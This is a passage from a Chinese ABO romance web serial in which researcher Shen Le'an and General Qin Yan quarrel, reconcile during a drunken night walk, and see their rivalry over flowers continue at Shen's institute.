沈乐安:“应该吧,看他们怎么安排。” 秦砚垂眸思忖片刻,应了声好。 沈乐安转告完,瞥了他一眼,“你回去的时候记得顺路拿走你的碗筷,我不会昧下别人的私人物品。” “买一副新的会方便使用,暂时放在你那吧。”秦砚说完,又抬眸看向他,“可以吗,安安?” 秦上将两个多月没有带过学生,加上休养了一个多月,没有怎么晒过太阳,皮肤也养白了许多,大病初愈,令他增添了一番虚弱的外皮,连同语气也和翩翩公子般温润如玉了似的。 这一声请求客套又礼貌,哪怕问句的口吻几乎为陈述,带着某种难以掩盖的强势。 和那晚半山别墅时一边哄他一边往死里搞他的人有异曲同工之妙。 那种诡异的酥麻弥漫心头,沈乐安压下那点悸动,板着脸道:“你不来拿我过几天放你门口,你自己处理。” Omega油盐不进的态度令人有点挫败。 秦砚抿了抿唇,转移了话题道:“我已经和家里说明白了我们的关系,别墅发生的事情不会有人外传。” 沈乐安不以为意地嗯了一声。 秦砚熄了声。 沈乐安收拾东西就要走。 秦砚叫住了他,“安安。” 沈乐安侧眸看向他。 他今天换了一支新的笔,秦砚看了一眼,有点无奈地道:“怎么样才可以消气?” 消气? 沈乐安站着,居高临下地望向他,表情冷淡又疏离,语气带着两分嘲讽,“秦砚,我们顶破天不就是‘普通朋友’的身份,你凭什么自以为是的认为我是在和你赌气?” “行了!”沈乐安打断秦砚试图开的口,“现在我们彻底绝交了。” 反手干脆利落的将秦砚的联系方式拉黑,然后直接摔门离开。 徒留病房内的一贯表情平静无波的秦砚脸色一阵红一阵黑。 关门的动静不小,惊得走廊上的徐应尧也跟着往那看了一眼。 看到沈师弟脸上黑沉如墨一副要杀人的模样,心中暗暗唏嘘,为秦砚默哀。 身旁的采访人员看了一眼,问道:“那位是沈医生吗?” 穿着白大褂的少年看上去格外的年轻,清癯玉立,宛若清贵公子,偏偏面庞染上了怒意,不见凶狠,反而增添了一片明亮与鲜活。 刘记者来之前就听说这个年轻的研究员非常好看,现在一眼就确定那位便是听同事提起过几次的沈乐安。 “是,我稍后让他过去,”徐应尧给叶白杨打了个眼神示意,“先带刘先生去休息室休息。” 叶白杨应下,视线一并从沈乐安那里收回。 刘记者道:“听说治疗成功的第一个案例是沈医生亲自带的病人,是六号房的那位吗?” 叶白杨笑而不语,不答此话,“稍后您和沈师兄再细聊这个吧。” 刘记者听出推辞,不再多问。 看到陌生的面孔,沈乐安便确定是徐应尧提的那个记者提前来了。 徐应尧言简意赅交代了一下情况,又瞥了一眼病房的方向,低声问道:“你和秦砚吵架了?” 沈乐安笑眯眯地看着他:“徐师兄想说什么?” 徐应尧忙撇清关系道:“不影响你等会采访的状态吧?” 沈乐安:“不会,一点小事而已。” 徐应尧为秦上将点了根蜡,竟然已经被归结为‘小事’了。 沈乐安没有耽搁太久,收拾了一下情绪,又恢复了淡定,去了休息室。 刘记者一见到人,便起身与他打了声招呼。 话里话外,难免会有点客套和奉承,但敬佩的心确实不假,因为信息素暴动这一疾病困扰了联邦多少年了,如今被一个如此年轻的研究员破解,对方还是沈家的小少爷,家世背景不提,长得还格外好看,交流间智商和情商都尽显,很难不让人喜欢。 刘记者本来只是想给文字版面的,最后还是提了一嘴,希望给沈乐安单独拍张照。 沈乐安当然不会拒绝,配合拍了照,又单独问了一句:“版面会登载我的个人信息吗?” 刘记者道:“会有部分荣誉和成就以及一些个人经历写在上面。” 沈乐安道:“我记得您之前做过游戏的版面,对游戏行业有很深的见解,现在还有玩游戏吗?” 刘记者闻弦知雅意,媒体无外乎宣传,只不过面前的人和这个行业似乎没有什么关联,他略有点惊讶道:“沈医生还涉猎了游戏行业?” 沈乐安道:“前段时间和朋友一起做了一款全息游戏,刚刚发行不久,如果方便,我给您寄一套设备体验一下。” 全息游戏? 还是最近刚发行不久的…… 刘记者盯着他,有点震惊地道:“你和归一游戏有合作?” 归一游戏是刚创立不久的公司,他们确实前不久刚推出来一款新的全息游戏,游戏设备听说也是自家公司研发的,宣发一出,热度一度攀升。 很多Alpha都参与了体验,好评度非常的高,之前的全息游戏对Alpha群体的体验感都不是很好,但归一游戏这款设备却全然没有那些让Alpha玩家难受的反应,甚至Omega玩家都觉得游戏体验度变好了非常多。 沈乐安笑了下,“是和一个师弟一起合作开发的。” 刘记者心中对这个游戏的信赖度又高了一些,和沈乐安搭上关系,某种程度上意味着和官方打上交道啊。 他笑着应下了此事,暗暗决定回去好好做个游戏测评,也当是给游戏做个宣传。 沈乐安和他换了一个联系方式,又带着他走了走可以对外开放的实验室,让他拍了一些照片,然后才送他离开。 刚送走人,回来便看到研究所的成员站在一排,叶白杨站在前面,从身后变出一束白色剑兰,笑道:“恭喜师兄完成职业首秀。” 左右还有两个人及时的放了个小礼炮,脸上的喜意未减。 自己的劳动成果能够被认可,甚至登报上新闻这种事情,对于这些新来的研究员来说,都是不可多得的喜事。 沈乐安收了花,露出笑容:“谢谢。” 叶白杨道:“师兄后天周末方不方便?我们商量了一下,决定一起聚餐庆祝一下。” 沈乐安:“好,时间地点你们发我。” 叶白杨见他应下,也催着他们散了,赶紧去做正事,来这没有多久,他一个小新人还隐约有了有点成为小领袖的苗头。 沈乐安觉得自己这闲散的团队隐约有了一点正形,一边思索着怎么安排叶白杨后边的位置,一边和他商量药剂的生产章程。 沈乐安推开自己办公室门的一瞬,叶白杨也跟着停了脚步。 沈乐安的办公桌上不知什么时候多了一大束红玫瑰,比他手上的剑兰花束要大几倍,张扬地放置在桌面,花束中央还放了一张漂亮的卡片,夺目非常。 他办公室里面又不是什么禁地,这花他哪怕想私下处理也很难。 何况旁边还有一个叶白杨。 沈乐安取了卡片扫了一眼,一看那‘恭喜’两个字的笔迹就认出来是某人的,想也没想随手将卡片往抽屉里面一塞。 那束剑兰被他妥善保管在了另外一处位置。 叶白杨情商再高一时也不知道怎么打圆场,有点尴尬地立在原地,见到沈乐安并无拘谨的动作,顺口便道:“乐安哥朋友送的庆祝礼物吗?” 沈乐安一把扯开了那漂亮的花束外包装,将那一大捧玫瑰择出来几朵,随手递到叶白杨身前,“送你。” 叶白杨脑子一短路,脸颊飘上一点红,“送、送我?” 沈乐安低着头拆花,没抬头,自然没有发现他的不对劲,接话道:“刚好每人分一点欣赏。” 叶白杨;“哦哦哦。” 那束花便被沈乐安合理的拆分给了研究所里面的所有人,包括病房里面的病人也得了,大家只以为这花是沈医生买来送大家一起庆祝的,至于为什么是红玫瑰,自然也没有人多问。 只有叶白杨清楚这花是别人送给沈乐安的,但是谁,沈乐安没说,他也没问。 但从这被拆送的花来看,估计也不是什么情侣对象,说不定还真是个普通朋友送的,毕竟沈乐安看起来并不在意。 徐应尧也拿到了沈乐安送的花。 六号房的那份还是他亲自送过去的。 这一次他倒是没有落井下石,不过还是颇为同情地将花的事情给他转述了一遍。 “他收了剑兰?” “找了个瓶子放在自己办公室了。”徐应尧补了一句,“看上去很用心的照顾。” “玫瑰呢?” “全部送完了。” 秦砚默了默,盯着那几朵娇艳的玫瑰花,一言不发。 第73章 第 86+87 章 秦砚顺利康复出院, 媒体对于新抑制剂的成功治疗报道也跟着出来了。 研究所的聚餐定在周六的晚上,地点在酒吧。 周日晚上的聚餐时间,徐应尧来酒吧是和秦砚一道来的。 之所以他们一起过来还是因为谢景开。 他们到的时候, 方桓瑜已经陪着谢景开喝了一些, 脸颊也沾了一点酒意,语调还算清醒,言简意赅地解释:“他被分手了,脑子现在不正常, 逮着人就胡咧咧的要人陪他喝。” 徐应尧:“……” 怎么,这年头被人甩还扎堆啊? 方桓瑜看他下意识瞥向秦砚, 顺口便说:“怎么,秦砚也有了什么情况?” 秦砚表情很淡。 话音刚落,包厢内便是一声酒瓶倒地的嗡鸣声。 “方桓瑜你特么的在门口蹲坑吗!” 方桓瑜:“……” 他揉了揉额角,让开位置, “你们先进来再说吧。” 徐应尧扫了眼秦砚的神色。 云淡风轻, 风平浪静, 似乎并没有任何的自我联想和情绪低落的表现。 和那天他将那几朵玫瑰插在瓶中时的表情一模一样。 甚至他提起沈乐安打算做终身标记清洗手术时秦砚的表情也是如此。 他从小和秦砚一起长大,虽然进军队后秦砚性格变沉稳许多, 但有些东西本质上难以改变的。 当初住在医院的时候秦砚让他告知沈乐安他的病情, 以此希望对方可以来看望的时候, 徐应尧是有点跌破眼镜的。 毕竟秦砚很有主见,也很自傲。 那次或许已经是他们两人关系崩盘的开始,这次沈乐安的行为也许已经彻底挑战到了秦砚的底线。 徐应尧默默推测着, 看着谢景开醉醺醺眼眶还发红的狼狈模样, 觉得秦砚冷情一点也挺好的, 不然两个想不开的兄弟,他也有点遭不住。 方桓瑜性格再稳再淡然, 被谢景开大闹天宫缠了这么久,也恨不得马上走人,听着谢景开反复念叨那些话,耳朵都快出茧子了。 谢景开还在那嚎:“姜醒你个没良心的猪头,老子他妈的哪里对不住你——” “果然娱乐圈就是个大染缸!” “还和别人拍吻戏抱来抱去眉来眼去收人礼物……啊呸!去尼玛的杀青礼!我杀你妈逼!” “不要脸!” “你个姜猪猪!” “啊啊啊啊啊你最好以后全部把我拉黑消失在我面前!老子绝对不会原谅你!” “就你会潇洒是吧,我天天都能开趴过节放鞭炮花天酒地过大年,玛德姜醒你——” 谢景开说着,手一抓,又要逮着人开始循环他和姜醒吵架的鸡毛蒜皮。 徐应尧一躲,谢景开抓住的人便成了他身旁一言不发的秦砚,“干杯啊,你们几个到底行不行!” 徐应尧手压住他的酒杯:“谢景开,喝太多会出事,为了一个前男友,你至于吗?” 谢景开一把拍开他的手:“黎映洲出国的时候你怎么没和老子说这种屁话!” 徐应尧手上动作一滞。 谢景开像是抓住了他的小辫子,大声道:“还好意思说我?” 徐应尧没忍住,直接给他脑门来了一巴掌,“你他妈喝死别来找我救你!” 方桓瑜:“……” 他很想找个正常人冷静一下场子,但是眼睛一瞥。 几百年没有碰过酒的秦砚竟然冷不丁的在徐应尧和谢景开吵架的功夫,已经喝了好几杯。 这特么的真是见了鬼! 秦砚不是觉得酒精会影响他的神经和理智,前者影响他在军队的任务,后者他宿醉还容易不记事,所以除非有不得不的必要,他都不会沾的吗? 徐应尧本来还气在头上,发觉秦砚的不对劲,脑门上浇了水似的,猛然清醒了。 方桓瑜指了指秦砚,一脸疑惑。 徐应尧还真不好替秦砚说,毕竟他和沈师弟好像刚刚疑似彻底断掉呢。 好在一通电话进来,徐应尧接了叶白杨的电话,暂时有了离开的借口。 徐应尧本来打算问秦砚要不要一起去的,现在看着情况也歇了想法,便与他道:“我现在过去了,你在这开导开导谢景开。” 谢景开抱着手机还在打电话,手机一直嘟嘟响,但一直未接通,明显是被对方拉黑了。 秦砚看了他一眼,不知想到什么,开口问了一句:“在哪?” 徐应尧看着他因酒泛红的眼尾,默默收回沈乐安对他影响很小的评价,回道:“就一楼那。” 秦砚用鼻音回了一个寡淡的嗯字,然后没有了下文。 徐应尧和方桓瑜打了声招呼便离开了。 没接到电话,谢景开气急败坏地把手机直接摔在地上,屏幕从中间裂开了狰狞的碎痕。 “妈的!” “晕……姜醒扶我一下。” “哦,秦砚。” Alpha闷闷地喝了一口酒,置若罔闻。 叫不动秦砚,谢景开又转头看向方桓瑜:“方小鱼,洗手间呢,想吐。” 方桓瑜:“……” 真不知道把秦砚喊过来有什么屁用。 方桓瑜叮嘱了一下秦砚少喝两口,便拉着谢景开从包厢离开了。 包厢内一下子就冷清了下来。 Alpha盯着躺在地上的手机看了数秒,又从自己的口袋中拿出另外一个完好无损的。 指尖微动,拨打给熟悉的备注名。 外放的声音内是没有语调的嘟嘟声,然后便是一道机械的女音。 “您拨打的电话正忙……” 秦砚挂断了电话,起身,直接出了包厢。 * 酒吧的位置沈乐安倒是熟悉,是上次余淮阳生日去的那家店,后来因为视频的事情,沈乐安还通过秦砚查过那里的监控。 提到秦砚,沈乐安就想起了还被滞留在他家里的碗筷。 他把秦砚拉黑了,也不好将人再加回来通知他取回自己的东西,但一直放着,沈乐安又觉得碍眼。 一进酒吧的门,喧闹声传来,沈乐安皱了皱眉。 “这里每晚都有小Livehouse形式的表演,所以声音有点大,要不要换包厢?”叶白杨及时开口问道。 这话问的是沈乐安。 沈乐安听见声,顺手锁了屏,“没事。” 叶白杨这才继续道:“这里的现场演奏还挺出名的,每天晚上都有不同的小演出,前一段时间还有过一个挺有名气的小歌手呢,不过现在人家可能有别的兼职,似乎不干了。” 沈乐安知道他说的是唐洛安,扬眉道:“你专门为他来的?” 叶白杨忙摆手道:“就和朋友来过两次,不是常客。” 旁边有同事调侃他:“哎呦,小羊搁这装纯情呢。” 沈乐安笑了声,道:“他唱的确实不错。” 叶白杨目光看向他,“哥来过这?” 进来的音乐声很大,叶白杨声音便衬得有点小,沈乐安没有听清。 叶白杨便凑近了一点,重复刚刚的问题。 离得近,能嗅得到Omega身上很淡的沐浴露气味,是一抹山茶花的淡香。 “和朋友来过,他来这里庆生。”沈乐安回他,视线却往二楼留意了一下。 二楼的楼梯处有人上下,光线昏暗,看不清人脸。 刚刚被人盯着的注视仿佛是偶然发生的错觉。 沈乐安转回视线,看了一圈,问道:“徐师兄还没有过来?” “说是马上到了。” 话音刚落,便见到徐应尧姗姗来迟的身影。 “抱歉,有朋友过来,陪他们聊了一小会,耽搁了一点时间。”徐应尧主动开口道。 徐应尧身上有淡淡的酒气,沈乐安不由地看了他一眼。 正好对上了徐应尧偷偷的打量。 徐应尧:“……” 沈乐安在徐应尧身上闻到了一点熟悉的味道,抬眼看向他:“徐师兄?” Omega脸上不见半点失落和低迷,脸色如常,徐应尧没看出来沈乐安的态度,心情复杂地解释道:“虽然是庆祝,但还是少喝一点,不然到时候不知道怎么送你们回去。” 叶白杨笑着插话:“徐哥别担心,我今天专门开了新车过来,今晚我不碰酒,不方便我都有接送服务,乐安哥过来估计没开车,可以直接坐我的车回去。” 沈乐安被那个味道影响,抽出神回他:“已经换了新车了?” 这事叶白杨吃饭的时候提了几回,他还有印象。 叶白杨摸了摸后脑勺,有些不好意思道:“听了哥的建议,买了蓝色的那款。” 沈乐安笑道:“挺适合你的。” 他俩你一言我一语,徐应尧反而不好插嘴了,只道:“那你们好好吃。” 叶白杨便笑着凑近,“哥有没有什么推荐的小吃?” 沈乐安靠近,指了指菜单上几个招牌,“仅供参考。” 叶白杨顺着便说:“哥喜欢吃什么?” Alpha说着,自然地挪进距离,黑色的阴影将视野笼罩,仿佛覆盖在Omega的身上。 沈乐安抬了抬眼皮,直直撞进他澄澈明亮的眸中,叶白杨太过年轻,又有着Alpha进攻的天性,很难做到如同秦砚那样,完全遮掩自己的想法。 沈乐安顿了一下,不动声色地挪远上半身,然后才回他:“我没有什么偏好,你们看着点就行,明准几个和你同龄,应该和你喜好差不多,你可以去问问他们。” 叶白杨笑容未减,仿佛没有察觉沈乐安的态度变化,很乖巧地应下,然后拿着菜单转头和身旁的人讲话。 沈乐安电话震了两下,顺势起身。 叶白杨转头看过来,“哥?” 沈乐安:“出去接个电话,等会回来。” 叶白杨:“需要我陪你出去吗?” 沈乐安婉拒了,叶白杨也识趣地没有再提。 从酒吧内一路出来外面,空气都安静了许多,酒吧外边多了来来往往醉吐的人。 沈乐安离门口远了一点,看了眼来电——是个陌生号码。 没有归类到营销推广,沈乐安盯着看了两秒,还是回拨了过去。 悠扬悦耳的铃声由远及近,随着脚步声渐渐从身后靠近。 轻快熟悉的小调,与酒吧内传出来的震荡波浪形成鲜明的对比。 沈乐安转过身,眼睛还未看清人影,整个人便被拉入充斥着酒气的胸膛,脑袋也被人狠狠地扣住,头发被男人狠狠地揉搓着,仿佛要驱散什么味道。 凭借着体型与周身似有若无的信息素,认出人,沈乐安的慌乱暂消,怒意敛上心头。 “嘶——”沈乐安被扯了一根头发,疼得倒吸一口凉气,“秦砚你有病?!” Alpha动作却一点也不收敛,指腹又以同样的方式摩擦他敏感的后颈。 一寸一寸,严谨仔细,不放过一丝空地。 沈乐安恼火地想掐他的肉,但偏偏秦砚一点赘肉也无,只感觉被人秀了一脸完美腹肌。 他的反抗一点作用也无,反而是挣扎的动作让Alpha的动作愈发强势。 Alpha一声不吭地紧紧扣着怀里反抗的人,脑袋埋入Omega的脖颈,满是酒气的唇瓣一张,舌尖不满地想要覆盖掉那道不属于自己的外来Alpha气息。 蛮不讲理的霸道和野蛮,却也狠狠地在Omega的心尖撞击了一下。 沈乐安右眼皮颤了颤,察觉到了秦砚的反常,放缓了语气,“秦砚?” 秦砚声音含糊地答道,“我现在很生气,不想和你说话。” 扑面而来的酒气和低沉的疑似委屈巴巴的声音放在这张冷峻的脸上显得格格不入。 原来是喝醉了。 沈乐安没见过秦砚喝醉酒的模样,但听说过发酒疯的,当下只好放轻声道:“秦砚,你先放开我,现在是在外面,这样不好。” “不行,”秦砚垂下眼皮,唇瓣强势地卷走了他的声音,边亲边喃喃道,“这是我的西蓝花。” 沈乐安:“……” 酒吧外头有不少情侣,但是也没人像他们这样的。 沈乐安总觉得有人飘过来一点窥探的视线,心跳快的不行,终于从秦砚口中逃离,唇瓣红肿,耳尖也飘着红。 秦砚舔了舔被咬出血痕的唇瓣,瞳仁幽深,醉意荡在眼底,眼尾还泛着红。 “清醒了吗?”沈乐安不解气,又重重踩了他一脚。 Alpha纹丝不动,将头重新埋入Omega的颈窝,大狗狗一样依赖似的蹭了蹭。 顿了良久,才语调很轻地道,“安安,你哄哄我,我就听你的话。” 秦砚头发微硬,扎的他颈侧有一点痒意,带着一分低声下气的讨好。 沈乐安别扭地转过脑袋,努力远离,听出他似乎恢复了一点理智的口吻,“秦上将,你清醒了没有?” 秦砚自顾自地道:“沈乐安,凭什么拉黑我?” 沈乐安:“……” — 秦砚喝醉的时候非常黏人,话也比平常要多得多,行为亦是蛮不讲理的霸道。 沈乐安嘴唇微肿,但也确认他是真的醉了,不是忽悠人。 酒吧外边人来人往,偶尔还有人往他们这边瞥。 沈乐安只好不再躲开,顺着Alpha的意思,任由他抓着自己的手。 醉意熏熏的Alpha将五指张开,一点一点从Omega的手指缝隙中挤入,最后严实合扣,不留半点空余。 我的。 他动作里明目张胆地写着不言之意。 “秦砚,松开。”沈乐安试图挣开。 五指相扣的手掌纹丝不动,没有一点变化。 沈乐安冷眼看向他,恼意不减。 Alpha微敛双眸,只答了两个字,“不行。” 沈乐安:“……” 臭不要脸的酒鬼! 沈乐安歇了和他争执的想法,索性任由他牵着。 两人漫无目的地在街道上走着,逐渐远离了酒吧的喧嚣,多了商业区的繁荣与喧哗。 沈乐安没有了挣扎和别扭的心思,转而欣赏起来多姿多彩的商业街。 身旁的Alpha默不作声地握着他的手,两人之间的距离很近,手臂贴在一旁,步伐一致,和大街上其他的情侣并无区别。 沈乐安难以辨别他是否还在醉酒的状态还是已经恢复了清醒,唯一没有变化的,是五指相扣紧紧攥着的手。 秦砚牵着他一路向前。 从长桥上方穿过。 有道路上的车水马龙,有旁边道上的小摊叫卖,还有往返不知名的行人,以及桥下灯光绚丽的小船。 夜风和市井从他们中穿堂而过,吹散了酒意,但没有让两人的手分开。 沈乐安心头微微一动,目光不经意扫过他的侧颜。 Alpha下颌弧度分明,额角处的青筋微微崩起,蓝调的瞳眸停留在不远处的一个流动小摊子上,脚步慢了几分。 沈乐安顺着他的角度看去,还未开口说话,口袋里的手机就响了。 他回过神,顺手接听,“叶师弟?” 他出来太久,一直没有回去,是叶白杨打电话过来问他在哪。 突兀的称呼打断了装睡的人。 秦砚几乎同时间望向沈乐安,视线如同鹰隼一般锐利,混杂着酒意,危险尽露。 沈乐安看了眼外面已经全然变化的景色,找了个借口,暂时敷衍了过去。 他现在再回去还得走一段时间,何况自己身旁还跟了一个秦砚,他不好和人解释。 叶白杨没有问几句,沈乐安和他简单提了一下就挂了电话。 电话一挂,沈乐安便看向秦砚,道:“你捏的我手疼。” Alpha默默松了一点力气,但没有一点放开的意思。 不远处流动小摊上的小姑娘非常有眼力见的凑上前来道:“先生,您要给您的男朋友买朵花吗?” 小姑娘手上抱着一大束,自我推荐道:“这是我妈妈今天刚刚摘得哦,您旁边的这位哥哥一定非常喜欢。” 她手上抱着的里面有好几束剑兰,其余的都是玫瑰。 秦砚漫不经心地扫了一眼,付了全部花的款。 但只拿走了其中的玫瑰花,剩下的剑兰他还额外给小朋友付了一笔小费,托她随机送给今天的客人。 这种幼稚的行为沈乐安一眼就和当时他将玫瑰送人的举动联系了起来。 只不过沈乐安没有看懂他模仿这一行为是何缘由。 总不能是因为记仇他糟蹋他的玫瑰,所以现在也反击回来,用行动来阴阳怪气一番? 那一束红玫瑰被小朋友认认真真的包装装饰好,对上小朋友亮晶晶的眼睛,沈乐安不好拒绝,还是接过了。 待从小摊位置走开,沈乐安撇了一眼纹丝不动五指相扣的手,出声道:“秦上将现在酒醒了?” 秦砚在路边的装饰品小摊处停下,侧眸道:“你送我的钥匙扣没有了,安安,你能重新帮我选一个吗?” 钥匙扣? 沈乐安想起来跳车那天在车钥匙位置半空晃荡的金色徽章。 “你以前不是不用这种东西?” 秦砚轻轻摸着小摊上冰凉的钥匙扣的触感,垂眸应道:“我很喜欢这件生日礼物。” 不知是不是喝多了酒,他语调内都多了一份酒意的温纯和浓稠的湿润。 降了几个调的音准,透露着一点苍白无力的情绪,仿佛失去了很重要的东西,情绪异常低迷。 透过紧紧贴合的皮肤,沈乐安能感知到他缓慢的心跳声,一阵又一阵,有种无声的沉闷。 沈乐安随手拿了一个出来,便道:“这个还行吧。” 秦砚接过,直接买了单,然后将东西放入了口袋中,又抬手碰了碰,像是担心有所遗失。 他眉眼间尽是认真,夹杂着酒意,眼尾是浓丽的红色,如似漂亮的晚霞,又仿佛冷淡无情的仙人也沾染了欲色。 沈乐安别开视线,试图抽回手。 秦砚一动不动,扣紧,侧眸看向他。 “酒醒了就松开。” “不松。” “……”沈乐安只好道,“我饿了,要买点吃的。” 烤红薯的车子还往外飘荡着热气和香味,从街道对面飘来,勾起馋欲。 沈乐安出来的赶,小吃都还没有上,自然也没有吃上什么东西,酒也没有喝一口。 嘴里浓醇的酒气还是被人恶意铺陈上的,满满一层,夹杂着Alpha的信息素分子。 秦砚牵着他过马路,又与看摊子的老人买了红薯。 老人将红薯交给秦砚时,笑了下,说了一句吉祥话,“万事顺意,白头偕老啊。” 秦砚接过,回道:“谢谢。” 沈乐安伸手,“给我吧。” 秦砚没有动,松开了一直紧紧牵着的手,兀自拿开白色的塑料袋子,剥开红薯外侧的表皮。 然后才将剥好的红薯递到Omega的身前,“吃吧。” 沈乐安寻了一处位置坐下,秦砚站在他身旁,像是一棵扎实的木桩。 红薯的热气犹存,化在冰冷的风中,仅存一道热雾很快消失。 口感软糯,味道偏甜,但真轮起来,还是秦砚上次在家里做的更上一层楼。 沈乐安无知无觉地在心里做了一番评价。 秦砚立在身旁,倒是完美的成为了一堵坚实的墙壁,挡去了侧面而来的凉风。 沈乐安低头吃了几口,余光看见他被风卷起的衣摆,又抬起了头:“你要不要吃?” Alpha回他:“要。” 没听到客气的回答,沈乐安瞅了他一眼,手腕微动,往上抬了抬,示意他自己掰一瓣没吃过的拿走。 但秦砚并没有get他的意思。 沈乐安甫一抬手,Alpha就躬下了腰,唇瓣贴上香糯的红薯,就着他刚才咬过的口子,咬下了很大一口。 “……” 沈乐安张了张嘴,想说什么,又没有说出口。 秦砚咀嚼片刻,出声评价,“味道不错。” 沈乐安:“……你不是有洁癖?” 秦砚看向他,嗯了一声。 Alpha的身上还有淡淡的酒气,语调无波无澜,承认的干脆,与平日不同。 话音之外的特别哪怕不说也溢于言表。 沈乐安顿时闭了麦。 他避开秦砚咬的地方,从旁边咬了几口,然后转移话题道:“徐应尧和你一起来的?” 秦砚:“谢景开失恋,约了我们出来。” 沈乐安没有想要问这么多,只道:“建议你找个代驾回去。” 秦砚:“你不和我一起回去吗?” 沈乐安:“同事还在聚餐,我等会还要回去一趟。” 秦砚:“我可以等你。” “不用。”沈乐安道,“有同事会帮忙送我回去。” 秦砚沉默了一下,才道:“那个送你剑兰的姓叶的师弟?” 沈乐安很随意的应了一声,没有否认。 “他对你有好感,你应该知道。” 沈乐安淡淡地嗯了一声。 不知是不以为意的敷衍还是随口回复的肯定回答。 哪怕前不久刚好眼前的人吵过架,又莫名其妙因为醉酒和他亲了好几下甚至牵着手走了一路,恢复理智的沈乐安都非常的淡定,不推脱也不应允,情感淡淡仿佛他们确实是个普通的朋友。 秦砚并不喜欢他这样的疏离,如似完全将真实的情绪与自己隔阂了一般。 “我想等你一起回去,”秦砚垂眼看向他,“可以吗?安安。” “车上没留你的位置。”沈乐安道。 秦砚:“你坐我的车。” 沈乐安抬了抬眼皮,“秦教官想酒驾?” 秦砚道:“我会让司机提前过来。” 秦砚步步紧逼,锲而不舍,让沈乐安想和他老老实实当个普通朋友表面客套拒绝都不行。 沈乐安冷下脸,绷直唇角,有点不耐烦地道:“你非要我撕破脸和你说话?” “安安,”秦砚抿了抿唇,“我没有想要和你吵架。” “秦砚,我以为那天在病房里面已经和你说的很明白的了。” 沈乐安撩起眼皮,语气微冷。 不可否认他因为秦砚反复的态度而烦躁。 秦砚顿了良久,才道:“我希望重新纠正我们的关系并不是因为所谓责任。” 沈乐安不想再提及此事,略有点不耐道:“所以呢?” Alpha徐徐捉住了少年的细腕,力度不轻不重,却将人紧紧拢住,“我承认我是在死缠烂打,厚颜无耻。” “安安。” 秦砚说的很慢,却也足够认真。 “追你是因为喜欢你,和其他的无关。” 第74章 第 88+89 章 沈乐安难得有点失眠。 因为秦砚过度直白的话语, 也因为自己被搅得烦乱的心境。 于是第二天上班一早,沈乐安就光荣的晚起迟到了。 秦砚虽然出院,但沈乐安到办公室时, 还是发现了桌面上熟悉的早餐, 放的久了一点,豆浆有点隐约发凉。 看着豆浆表面熟悉的图案,沈乐安就不免想到昨天晚上的秦砚。 沈乐安看了眼搁在桌面显眼位置的剑兰,定了两秒, 还是将其挪了挪位置。 门板前后脚的功夫被敲响。 “请进。” 还没有新的病患入住,沈乐安并没有特别多的事情, 早上来的晚,也没有人发现,除了刚好赶上过来找过他的叶白杨。 叶白杨手上还拿着一个文件夹,“乐安哥, 有一份需要你签字的授权书。” 沈乐安:“拿来吧。” 叶白杨递给他, 又把签字笔一并交过去。 “哥昨晚怎么提前回去了, 东西都还没有吃。” 沈乐安扫了一眼文件内容,落款签名, “有点私事需要处理, 所以提前离开了, 听说你们昨天玩到很晚?” 叶白杨:“是,徐师兄后来还买了一个蛋糕回来庆祝,为你买的, 不过哥不在, 蛋糕还挺好吃的, 我给你打包了一份,等会给你, 可以当甜点吃。” 沈乐安检查了一遍文字,然后将文件交还,“看来我有口福了,谢谢你。” 叶白杨:“哥不用和我这么客气。” 沈乐安微微一笑,没有说什么,插了吸管,抿了口甜豆浆。 叶白杨目光扫过被挪到里侧犄角旮旯位置的剑兰,垂了垂眼皮,看了一眼高端精致的豆浆包装,出声道:“上次哥送给大家的玫瑰很好看,有人还和我打听哥购买的地址,哥能给我一下吗?” 沈乐安喝豆浆的动作微微一顿,回他:“别人送的,我不是很清楚。” 叶白杨道:“哥的男朋友?” 沈乐安咬着吸管,抬了抬眼皮。 Omega的眼神里面婉拒和疏离的意思表达的很明显,与大部分时候的好说话的沈乐安不同。 叶白杨立刻反应过来,脸上一副认输的表情,忙摆手道:“我道歉我道歉。” 沈乐安目光在他手上的文件点了点,“工作时间不要聊私事,出去吧。” 叶白杨点点头,出去前,又探出脑袋道:“中午还能和哥一起吃饭吗?食堂又有上新,哥要不要和我一起去打卡一下?” 沈乐安婉拒:“你和他们一起去吧,我还有事。” 叶白杨还想说点什么,但看他已经转回了视线,似乎在看消息处理公事,只好无奈作罢,顺手关上了门。 沈乐安确实是在看消息,是徐应尧半小时前发的。 徐应尧:【和沈氏合作的事情你今天要办完,你别忘了,上面会有人和你对接,一会儿会和你一起去一次实地勘查情况,他现在应该要过来了,你记得加上人。】 往下一条是一个微信名片的推荐。 头像和昵称都很熟悉,是刚从黑名单里面出来的秦砚。 沈乐安:“……” 两分钟前还有一条新的消息。 小青菜:【我现在过去接你。】 沈乐安盯着两人一前一后的消息,轻嗤一声,思忖片刻,又将那花瓶里面的剑兰挪回原来桌面显眼的位置。 吃了一口包子,然后给秦砚回了一句公事公办的收到。 秦砚没有再回。 叶白杨将签字的文件交给同事之后,记起来自己手头还有一份文件需要交给沈乐安,复而重新去自己的办公区域,拿着东西,往沈乐安的办公室走。 路过电梯门时,紧闭的电梯同时打开。 Alpha身形颀长,肩宽体阔,穿着黑色的长风衣,气质非凡,手上抱在怀里的大捧红玫瑰削弱了他面庞的冷峻与严肃,多了一点人情味。 叶白杨不期然地与他撞上视线,认出了他是六号房那个已经出院的病人。 这一层不能随便让人进来,哪怕他曾经是这里的病患,但出院了之后,权限也自然取消,如今出现在这里,手上还拿着玫瑰花,一看就不是为了公事。 叶白杨并不喜这种滥用私权的行为,但与他无关的事情,他也不会过多置喙,与对方眼神过了一遍,便自然地往另外一处走。 秦砚敛回视线,与他保持了一个不远不近的距离。 两人齐齐在沈乐安的办公室面前停下。 叶白杨这才想起来六号房的主治医生是沈乐安,如今秦砚过来,估计也是因为他。 “乐安哥可能还在忙公事,如果秦先生有私事找他,可以等晚点下班后。” 秦砚不咸不淡地瞥了他一眼,不做回复。 叶白杨也没有自讨没趣,敲了敲门。 “请进。” 叶白杨推开门,道:“哥,刚刚还漏了一份文件没有给你,帮你送过来。” “好,谢谢。”沈乐安回他,目光一转,视线跟着兀自进来的秦砚走了两秒。 叶白杨开口道:“哥,要不我先送秦先生去休息室坐坐?” 这是微妙的帮他送客之意。 秦砚闻声,目光同样落在沈乐安的身上,以及沈乐安手边那醒目的剑兰。 他手上抱着的那束玫瑰花尤其的扎眼。 沈乐安敛回视线,转头和叶白杨道:“他有公事找我,等会我要出去一趟,有什么事情可以找徐师兄。” 叶白杨点点头,应了声好。 